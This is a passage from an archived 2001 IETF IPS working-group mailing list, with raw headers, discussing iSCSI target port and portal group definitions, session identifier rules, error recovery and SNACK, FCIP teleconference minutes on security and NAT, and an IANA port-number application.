text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <3BA2431D.BC20E76F@cup.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Currently the TSID can be the same for different initiators (now, in my case, they'll all be unique). If we change the definition of TSID to be unique within the target, then I think this is a good idea. But, I like the idea of Portal Groups as being a nice way for an administrator to allocate the Network Portals and the Portal Group properties. TSID RULE: The iSCSI Target SHALL NOT select a TSID for a given login request if the resulting SSID is already in use by an existing session between that the target and the requesting iSCSI Initiator. See 8.1.1. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Friday, September 14, 2001 1:49 PM To: Jim Hafner Cc: ips@ece.cmu.edu Subject: Re: iscsi : target port definition Jim, I agree with your below ideas. However, they do appear to conflict with the iscsi rev 08 definition of the I-T nexus in Section 1.5.2 which reads : " c) I_T nexus - According to [SAM2], the I_T nexus is a relationship between a SCSI Initiator Port and a SCSI Target Port. For iSCSI, this relationship is a session, defined as a relationship between an iSCSI Initiator's end of the session (SCSI Initiator Port) and the iSCSI Target's Portal Group. The I_T nexus can be identified by the conjunction of the SCSI port names; that is, the I_T nexus identifier is the tuple (iSCSI Initiator Name + 'i'+ ISID, iSCSI Target Name + 't'+ Portal Group Tag). NOTE: The I_T nexus identifier is not equal to the session identifier (SSID). " Per the above definition, the I-T nexus target end point is that target portal group, which is not the case when initiators choose to establish I-T nexi (sessions) to subsets of the target portal group, in order to export multiple scsi paths to upper layer wedge drivers. Further, initiators that establish sessions to a subset of the target portal group would not be able to take advantage of initiator specific mode page implementations on the target. All the I-T nexi (sessions) established by seperate initiator ports to a given target portal group would always share the same mode pages, since the target mode pages would be implemented on a per target portal group basis. Do you see any reasons why the definition of a target port should not be symmetric with the definition of the initiator port ? i.e. (iscsi target name + TSID) = target port. (= both port name & port identifier). This would more accurately model the target port to be the end point of the I-T nexus (session). Regards, Santosh Jim Hafner wrote: > Santosh, > > There are many alternatives here, but I think the simplest is to establish > multiple sessions to the one target portal group. Each session can connect > to one, some or all of the target ipaddresses in the portal group, so you > have a lot of flexibility. What you see then in the wedge driver is > multiple "SCSI Initiator Ports" in the host connecting to one SCSI Target > Port. That should be sufficient for the multipathing logic. So, it's > many to one, not one to many. > > Note that according to the model in -08, if there were more than one target > portal group, you could see two different things, depending on how you > implemented your host. You could have an "implementation" of one host SCSI > Initiator Port connecting to multiple SCSI Target Ports if you used the > same ISID for all those sessions. Or you could have an implementation of > multipel SCSI Initiator Ports connecting in arbitrary ways to the multiple > SCSI Target Ports if you used a set of ISIDs. In other words, the reuse of > an ISID to a different target portal group implies a one to many setup. > And you can overlay lots of one-to-many (or one-to-one) sessions as you > enable different ISIDs. In other words, the "many" SCSI Initator Ports are > based on multiple use of ISIDs and multiple SCSI Target Ports are based on > multiple target portal groups as advertised by the target. > > On the other hand, there is no requirement of the target that if advertise > itself as having only one target portal group, even if it was capable. It > can subdivide its ipaddress space in any way it wants. A high end target > with many many ip interfaces will probably do that. Additionally, any > truly high end target (in the long term) will have many iSCSI HBAs (most > likely) each functioning as a target portal group and you'd see this > modeling FC (at the target side) closer. > > There might be other reasons besides multiple iSCSI HBA configuration for > the target to advertise multiple target portal groups. The SCSI Asymmetric > Port behavior for controllers in particular (for failover, primary pathing, > etc.) can take advantage of that kind of structure. You may have a > dual-headed controller each with independent power supplies. They might > have enough coordination to run sessions across all of them, but it might > make more sense to separate them. [Give me more time and I can probably > come up with lots of other reasons too...] > > The model then is flexible enough to handle arbitrary software > implementations using arbitrary network or TCP hardware cards as well as > any implementations of iSCSI HBAs or any combination of the two. And that's > true on both the initiator and the target side. > > Jim Hafner > > Santosh Rao @ece.cmu.edu on 09/13/2001 05:37:45 pm > > Sent by: owner-ips@ece.cmu.edu > > To: IPS Reflector > cc: > Subject: iscsi : target port definition > > Hello, > > I have a question on the interpretation of the iscsi target port > definition. The iscsi rev 08 defines the iscsi target port to map to an > iscsi target portal group. > > Thus, any iscsi target that wishes to allow multiple SCSI paths to be > established to the target node MUST provide at least 2 iscsi target > portal groups. > > The above definition of an iscsi target port somewhat alters the > semantics of a target portal group. A target portal group, by > definition, is a collection of a set of network portals within the > target across which a session can be spanned. > > Thus, if a target supports a multi-connection session spanning across > all its network portals, such a target would use a single target portal > group to indicate that 1 big fat session pipe could be established to > all its network portals. This, in turn, would have the side effect of > only providing 1 scsi path to the upper layer wedge drivers, if the > iscsi initiators establish a session per target portal group. [which is > the target port]. > > >From an initiator's perspective, what should be the target side > end-point of an initiator's sessions when it may need to support upper > layer wedge drivers ? Should the initiator establish a session per > target > portal group [, in which case the above issue exists] ? Or, should it > establish a session per TargetAddress ?? > > Regards, > Santosh From owner-ips@ece.cmu.edu Fri Sep 14 18:55:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27641 for ; Fri, 14 Sep 2001 18:55:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ELNom19964 for ips-outgoing; Fri, 14 Sep 2001 17:23:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ELNkP19958 for ; Fri, 14 Sep 2001 17:23:46 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id RAA27644; Fri, 14 Sep 2001 17:21:28 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8ELNiR190536; Fri, 14 Sep 2001 15:23:44 -0600 Importance: Normal Subject: RE: iscsi : target port definition (private) To: , ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 14 Sep 2001 14:23:42 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/14/2001 02:23:44 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, I'm not sure I quite caught the thrust of your note. Are you supportive of the model or questioning? I get thrown by your comment: "If we change the definition of TSID to be unique within the target, then I think this is a good idea." If I read this as "unique independent of initiator", then, as we've discussed before, that's an implementation choice that goes far beyond what any part of the model says (however we define SSID). I'd be VERY opposed to making this the requirement. I'll explain the reasons if (a) my interpretation of your quote is correct and (b) it is a formal recommendation to this group. If not, I'll be quiet on this point. But I have no objection to *you* implementing that way. :-{) You say "the TSID can be the same for different initiators". In fact, it can be the same for the same initiator provided the ISID from that initiator is different (so that the resulting SSID is unique)! So, I could implement my target by having each target portal group use its target portal group tag as the value of the TSID for every session regardless of initiator. (That's a very simple partition logic!). By enforcing the ISID RULE, every session would get a unique SSID (ergo, I've met the TSID RULE by default). [Note: I could do the exact same thing on the initiator, that is, make every initiator portal group use its portal group tag as its ISID -- I wouldn't be able to use multiple sessions to the same target portal group. but that's an implementation choice!] Of course, such a target implementation wouldn't be able to use the TSID as a handle to some session reference (though it could use the entire SSID), but the spec doesn't say how one uses (internally) the TSID, just what properties it has to have externally. Are we all on the same page yet? Jim Hafner "Eddy Quicksall" on 09/14/2001 01:23:56 pm Please respond to To: "'Santosh Rao'" , Jim Hafner/Almaden/IBM@IBMUS cc: Subject: RE: iscsi : target port definition Currently the TSID can be the same for different initiators (now, in my case, they'll all be unique). If we change the definition of TSID to be unique within the target, then I think this is a good idea. But, I like the idea of Portal Groups as being a nice way for an administrator to allocate the Network Portals and the Portal Group properties. TSID RULE: The iSCSI Target SHALL NOT select a TSID for a given login request if the resulting SSID is already in use by an existing session between that the target and the requesting iSCSI Initiator. See 8.1.1. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Friday, September 14, 2001 1:49 PM To: Jim Hafner Cc: ips@ece.cmu.edu Subject: Re: iscsi : target port definition Jim, I agree with your below ideas. However, they do appear to conflict with the iscsi rev 08 definition of the I-T nexus in Section 1.5.2 which reads : " c) I_T nexus - According to [SAM2], the I_T nexus is a relationship between a SCSI Initiator Port and a SCSI Target Port. For iSCSI, this relationship is a session, defined as a relationship between an iSCSI Initiator's end of the session (SCSI Initiator Port) and the iSCSI Target's Portal Group. The I_T nexus can be identified by the conjunction of the SCSI port names; that is, the I_T nexus identifier is the tuple (iSCSI Initiator Name + 'i'+ ISID, iSCSI Target Name + 't'+ Portal Group Tag). NOTE: The I_T nexus identifier is not equal to the session identifier (SSID). " Per the above definition, the I-T nexus target end point is that target portal group, which is not the case when initiators choose to establish I-T nexi (sessions) to subsets of the target portal group, in order to export multiple scsi paths to upper layer wedge drivers. Further, initiators that establish sessions to a subset of the target portal group would not be able to take advantage of initiator specific mode page implementations on the target. All the I-T nexi (sessions) established by seperate initiator ports to a given target portal group would always share the same mode pages, since the target mode pages would be implemented on a per target portal group basis. Do you see any reasons why the definition of a target port should not be symmetric with the definition of the initiator port ? i.e. (iscsi target name + TSID) = target port. (= both port name & port identifier). This would more accurately model the target port to be the end point of the I-T nexus (session). Regards, Santosh Jim Hafner wrote: > Santosh, > > There are many alternatives here, but I think the simplest is to establish > multiple sessions to the one target portal group. Each session can connect > to one, some or all of the target ipaddresses in the portal group, so you > have a lot of flexibility. What you see then in the wedge driver is > multiple "SCSI Initiator Ports" in the host connecting to one SCSI Target > Port. That should be sufficient for the multipathing logic. So, it's > many to one, not one to many. > > Note that according to the model in -08, if there were more than one target > portal group, you could see two different things, depending on how you > implemented your host. You could have an "implementation" of one host SCSI > Initiator Port connecting to multiple SCSI Target Ports if you used the > same ISID for all those sessions. Or you could have an implementation of > multipel SCSI Initiator Ports connecting in arbitrary ways to the multiple > SCSI Target Ports if you used a set of ISIDs. In other words, the reuse of > an ISID to a different target portal group implies a one to many setup. > And you can overlay lots of one-to-many (or one-to-one) sessions as you > enable different ISIDs. In other words, the "many" SCSI Initator Ports are > based on multiple use of ISIDs and multiple SCSI Target Ports are based on > multiple target portal groups as advertised by the target. > > On the other hand, there is no requirement of the target that if advertise > itself as having only one target portal group, even if it was capable. It > can subdivide its ipaddress space in any way it wants. A high end target > with many many ip interfaces will probably do that. Additionally, any > truly high end target (in the long term) will have many iSCSI HBAs (most > likely) each functioning as a target portal group and you'd see this > modeling FC (at the target side) closer. > > There might be other reasons besides multiple iSCSI HBA configuration for > the target to advertise multiple target portal groups. The SCSI Asymmetric > Port behavior for controllers in particular (for failover, primary pathing, > etc.) can take advantage of that kind of structure. You may have a > dual-headed controller each with independent power supplies. They might > have enough coordination to run sessions across all of them, but it might > make more sense to separate them. [Give me more time and I can probably > come up with lots of other reasons too...] > > The model then is flexible enough to handle arbitrary software > implementations using arbitrary network or TCP hardware cards as well as > any implementations of iSCSI HBAs or any combination of the two. And that's > true on both the initiator and the target side. > > Jim Hafner > > Santosh Rao @ece.cmu.edu on 09/13/2001 05:37:45 pm > > Sent by: owner-ips@ece.cmu.edu > > To: IPS Reflector > cc: > Subject: iscsi : target port definition > > Hello, > > I have a question on the interpretation of the iscsi target port > definition. The iscsi rev 08 defines the iscsi target port to map to an > iscsi target portal group. > > Thus, any iscsi target that wishes to allow multiple SCSI paths to be > established to the target node MUST provide at least 2 iscsi target > portal groups. > > The above definition of an iscsi target port somewhat alters the > semantics of a target portal group. A target portal group, by > definition, is a collection of a set of network portals within the > target across which a session can be spanned. > > Thus, if a target supports a multi-connection session spanning across > all its network portals, such a target would use a single target portal > group to indicate that 1 big fat session pipe could be established to > all its network portals. This, in turn, would have the side effect of > only providing 1 scsi path to the upper layer wedge drivers, if the > iscsi initiators establish a session per target portal group. [which is > the target port]. > > >From an initiator's perspective, what should be the target side > end-point of an initiator's sessions when it may need to support upper > layer wedge drivers ? Should the initiator establish a session per > target > portal group [, in which case the above issue exists] ? Or, should it > establish a session per TargetAddress ?? > > Regards, > Santosh From owner-ips@ece.cmu.edu Fri Sep 14 18:57:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27671 for ; Fri, 14 Sep 2001 18:57:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EL5qG18676 for ips-outgoing; Fri, 14 Sep 2001 17:05:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EL5cP18640 for ; Fri, 14 Sep 2001 17:05:38 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id RAA10338 for ; Fri, 14 Sep 2001 17:03:04 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8EL5KR82476 for ; Fri, 14 Sep 2001 15:05:20 -0600 Importance: Normal Subject: RE: iscsi : target port definition To: ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 14 Sep 2001 14:05:18 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/14/2001 02:05:20 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, Santosh, Marj is correct in what I'm suggesting. If the initiator only used some of the ipaddress/tcpport (what we called Network Portals) in a Target Portal group for one session, then it is *not* prohibited from requesting a second session to the remaing network portals (or any other subset of the full target portal group) within that same target portal group *provided it used a different ISID for that session*. The ISID RULE as stated in the draft doesn't allow it. The point being that once the ISID is generated on the initiator, a virtual SCSI Initiator Port is created. That virtual SCSI Initiator Port can use any and all network paths/bandwidth/whatever available to it to from the lower layers to connect to a SCSI Target Port (aka target portal group). There is no requirement to use all the resources of the portal group. The reason for the asymmetry has been layed out a couple of times on this reflector. Marj reiterates it below. I'll rephrase it more verbosely. The primary reason we moved from the symmetric model was to enable simpler implementations on the target, where an implementation may have to span multiple HW components. The TSID RULE (which effectively is the uniqueness of SSIDs between iSCSI Initiator and iSCSI Target) can be enforced in this model by an implementation that is totally local to a target portal group (partition the TSIDs across the portal groups - so they each have a piece of the TSID namespace). Jim Hafner "KRUEGER,MARJORIE (HP-Roseville,ex1)" on 09/14/2001 01:05:16 pm To: "'Santosh Rao'" , Jim Hafner/Almaden/IBM@IBMUS cc: ips@ece.cmu.edu Subject: RE: iscsi : target port definition > Per the above definition, the I-T nexus target end point is that target portal > group, which is not the case when initiators choose to establish I-T nexi > (sessions) to subsets of the target portal group, in order to export multiple > scsi paths to upper layer wedge drivers. I think Jim is suggesting that the initiator would have to establish two "SCSI initiator ports" to the same target portal group, which would translate to two different ISIDs for this SCSI initiator node. How does that conflict with this definition? Upper layer wedge drivers shouldn't know the difference between two separate initiator ports providing the multiple paths or one initiator port connecting to two different target ports, right? > Do you see any reasons why the definition of a target port should not be > symmetric with the definition of the initiator port ? i.e. (iscsi target name > + TSID) = target port. (= both port name & port identifier). This would more > accurately model the target port to be the end point of the I-T nexus (session). Of course there are a number of combinations of possibilities for defining what comprises the SCSI port within iSCSI. Initially the model did specify TSID as part of the target port identifier, but this seemed to create more "rules" to enforce at the target side (more restrictive than necessary) and the benefits of TSID vs target portal group were not compelling. The idea of target portal group as the target port endpoint seemed to provide the necessary protection (against parallel nexus, etc) with the least amount of enforcement rules. Marj From owner-ips@ece.cmu.edu Fri Sep 14 21:09:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA28894 for ; Fri, 14 Sep 2001 21:09:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ENTdR26894 for ips-outgoing; Fri, 14 Sep 2001 19:29:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ENTbP26889 for ; Fri, 14 Sep 2001 19:29:37 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel2.hp.com (Postfix) with ESMTP id 75DD71781; Fri, 14 Sep 2001 19:29:33 -0400 (EDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id QAA16739; Fri, 14 Sep 2001 16:30:53 -0700 (PDT) Message-Id: <200109142330.QAA16739@core.rose.hp.com> Date: Fri, 14 Sep 2001 16:40:46 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: Arpakorn Boonkongchuen Cc: ips@ece.cmu.edu Subject: Re: iSCSI: revised error recovery hierarchy References: <4.3.2.7.2.20010914114943.03d7d538@postoffice.pacbell.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Arpakorn, In short, I suggest that the answer to your question is: initiator can choose level-0 (session recovery) and do what you suggest. ErrorRecoveryLevel key value is a declaration of the sender's capabilities. By setting to 0 in the initial dialogue, initiator is implying that it can't do any recovery - so target can't send recovery R2Ts and such. BUT, the initiator can always abort the task as section 7.4 clearly calls out. Target is guaranteed not to force session recovery since the digest error is on the initiator's end - so the abort is expected to work (unless ofcourse target sees a digest failure at the same time on a different PDU, and decides to escalate...). Hope that answers your question. Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Arpakorn Boonkongchuen wrote: > > Hi Mallikarjun, > > I have been following the iSCSI error recovery discussion > and have one question. Is it a valid procedure for an > initiator who doesn't implement SNACK and does not want to > tear down the session and all connections when it gets a > data digest error to simply aborts the task (with task > management function request) associated with the bad > data digest received and tries to recover by resending the > command? > > It seems to me that this would fit between the level 0 and 1 > as described in your slides. Is this possible if you choose > level 1? Please let me know if I miss something. > > regards, > Arpakorn > > At 12:22 PM 9/12/2001 -0700, you wrote: > >All: > > > >Here's a revised error recovery layering proposal. > > > >http://storage-arch.hp.com/iscsi_hierarchy-2.pdf > > > >Please review and offer comments. The earlier London > >proposal slides are on the same website for your reference. > > > >I believe this revised proposal balances the desire > >to reduce the # of levels with the need to ensure that > >we don't bundle multi-connection functionality into > >single-connection error recovery. IOW, the revised > >level "2" deals exclusively with connection failover > >capabilities and implementations supporting only single > >connection sessions do not ever have to support > >level "2". > > > >Since publication of rev08 appears to be only > >by this weekend and there seems to some preference > >towards fewer number of levels anyway, my current > >thinking is to incorporate this revised hierarchy > >into rev08 for a detailed WG review and debate. > > > >Thanks. > >-- > >Mallikarjun > > > > > >Mallikarjun Chadalapaka > >Networked Storage Architecture > >Network Storage Solutions Organization > >MS 5668 Hewlett-Packard, Roseville. > >cbm@rose.hp.com From owner-ips@ece.cmu.edu Fri Sep 14 22:15:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA00326 for ; Fri, 14 Sep 2001 22:15:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8F0V2M29738 for ips-outgoing; Fri, 14 Sep 2001 20:31:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lightsand.com ([64.214.104.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8F0UmP29723 for ; Fri, 14 Sep 2001 20:30:48 -0400 (EDT) Received: from muralipc ([192.168.2.58]) by lightsand.com (8.9.3+Sun/8.9.1) with SMTP id RAA10117 for ; Fri, 14 Sep 2001 17:30:33 -0700 (PDT) From: "Murali Rajagopal" To: Subject: FCIP: Minutes of Author's Teleconference 9/ 13 Meeting Date: Fri, 14 Sep 2001 17:31:39 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Submitted by Don Fraser, Compaq Attending: Andy Helland Anil Rijhsinghani; Bob Snively; Don Fraser; Liz Rodriguez; Gaby Hecht; Jim Nelson; Ken Hirata; Larry Lamers; Milan Merhar; Neil Wanamaker; Raj Bhagwat; Ralph Weber; Venkat Rangan Vi Chau; Minutes: Ralph will publish revised document early next week and will include results from the NAT and Multi-home discussions. Larry requested that we reserve at least the SF nibble ( and -SF) if not a byte in the NAPT (aka funky frame) for future use. Agreed to by Ralph and Bob; will define it as a coded value. We all need to look at FC-SW-2 and our work to insure that we don't need to specify both the port name and node name if both are world wide unique. Consider how it shows up in the SLP structure, as it may need both to map the structure. Vencat provided a review of what has been happening on the reflector. For example there was some discussion on how man-in-the-middle can attack shared keys. Others countered with how to better protect shared keys with group pre-shared keys. Contact him for more precise details. Ralph asked if those building products needed shared keys, and Vencat replied that with FCIP it does not seem necessary. Bob thinks that we don't need to support group pre-shared keys. Ralph requested that Vencat also poll the group on the use of aggressive mode versus normal mode. Bob brought up that it appears the IEFT is willing to support some measure of susceptibility if they require or at least support DES. There was some kind of exception discussion around use of static addresses and that the FCIP would? most likely use static addressing. These addresses would most likely be discovered via SCLP V2? Appears to more of an IEFT issue than ours. Ralph will take the most recent copy of Vencat's work, scrub it, and insert it into the draft as part of section 9. There was some additional discussion around use of IKE main mode and group shared keys and weather it was secure or not. There will be a poll of the authors to determine best approach. Vencat and Ralph to work together to get the appropriate words into the doc V5D. That is unless Ralph has to drive home from T11. Ralph also proposed that we work the security first and then the NAT stuff when it is ready. Proposal accepted. Ralph confirmed the Rev 5C does not include any of the security changes, they will be in 5D to be posted next week. And security will be done well before the NAPT solution. To do next week: review security as written in 5D start NAPT work. Vi Chau will host it next week at the usual time on Wednesday. Cisco to host the week after then Lucent. From owner-ips@ece.cmu.edu Fri Sep 14 23:29:02 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA01808 for ; Fri, 14 Sep 2001 23:29:02 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8F1aNO02782 for ips-outgoing; Fri, 14 Sep 2001 21:36:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8F1aLP02772 for ; Fri, 14 Sep 2001 21:36:22 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id E15A7AF6; Fri, 14 Sep 2001 18:36:15 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id SAA08063; Fri, 14 Sep 2001 18:36:11 -0700 (PDT) Message-ID: <3BA2B1FB.4E5947EE@cup.hp.com> Date: Fri, 14 Sep 2001 18:42:19 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Arpakorn Boonkongchuen Cc: ips@ece.cmu.edu Subject: Re: iSCSI: revised error recovery hierarchy References: <4.3.2.7.2.20010914114943.03d7d538@postoffice.pacbell.net> <200109142330.QAA16739@core.rose.hp.com> Content-Type: multipart/mixed; boundary="------------FFA712575CF308D4F7A0AAAD" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------FFA712575CF308D4F7A0AAAD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit > Arpakorn Boonkongchuen wrote: > > > > I have been following the iSCSI error recovery discussion > > and have one question. Is it a valid procedure for an > > initiator who doesn't implement SNACK and does not want to > > tear down the session and all connections when it gets a > > data digest error to simply aborts the task (with task > > management function request) associated with the bad > > data digest received and tries to recover by resending the > > command? > > Any initiator that does not implement SNACK will have to perform session logout & re-login as the error recovery on digest errors that occurs on the status PDU. This is because of the current SNACK mechanism which will not allow the initiator to acknowledge any further Status PDUs once a hole occurs in the StatSN. The only way to workaround a hole in the StatSN sequence is to either use a Status SNACK or to do a session logout. So, its either SNACK support [and then choose your recovery level using SNACK, command replay, command failover, etc.] or session recovery. Something in between does'nt work. [at least not for long.] Regards, Santosh > > > It seems to me that this would fit between the level 0 and 1 > > as described in your slides. Is this possible if you choose > > level 1? Please let me know if I miss something. > > > > regards, > > Arpakorn > > --------------FFA712575CF308D4F7A0AAAD Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------FFA712575CF308D4F7A0AAAD-- From owner-ips@ece.cmu.edu Sat Sep 15 01:24:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03957 for ; Sat, 15 Sep 2001 01:24:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8F3Tpw11664 for ips-outgoing; Fri, 14 Sep 2001 23:29:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8F3TlP11659 for ; Fri, 14 Sep 2001 23:29:47 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id FAA32904 for ; Sat, 15 Sep 2001 05:28:53 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8F3Srd12738 for ; Sat, 15 Sep 2001 05:28:53 +0200 Importance: Low Subject: RE: Application for port-number (status) To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 15 Sep 2001 06:28:00 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 15/09/2001 06:28:53 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk will keep you posted - julo "IANA" on 14-09-2001 21:01:11 Please respond to "IANA" To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: RE: Application for port-number (status) Dear Julian, We have received your application. Requests are reviewed in the order they are received. Due to the number of requests we receive, it may take up to 15 working days to process your application. We will contact you if further information is needed. Thank you, IANA -----Original Message----- From: Julian_Satran@il.ibm.com [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 04, 2001 10:40 PM To: iana@iana.org; Julian_Satran@il.ibm.com Subject: Application for port-number Application for User Registered Port Number Name : Julian Satran E-mail : Julian_Satran@il.ibm.com Protocol Number : TCP Message Formats : Fixed + LCV Message Types : request, reply Message opcodes : SCSI request/response, Data-In/Out, Task Management, Login, Logout Message Sequences : request/response, login-request/response, logout-request/response Protocol functions : Carry SCSI and control Broadcast or Multicast used ? no How and what for Broadcast or Multicast is used (if used): Description : A well known port for target (server) to be used in interoperability tests that will be later replaced by a well known system port Name of the port : iSCSI port Short name of the port : iSCSI-target From owner-ips@ece.cmu.edu Sun Sep 16 22:02:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18307 for ; Sun, 16 Sep 2001 22:02:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8GNYx504578 for ips-outgoing; Sun, 16 Sep 2001 19:34:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com 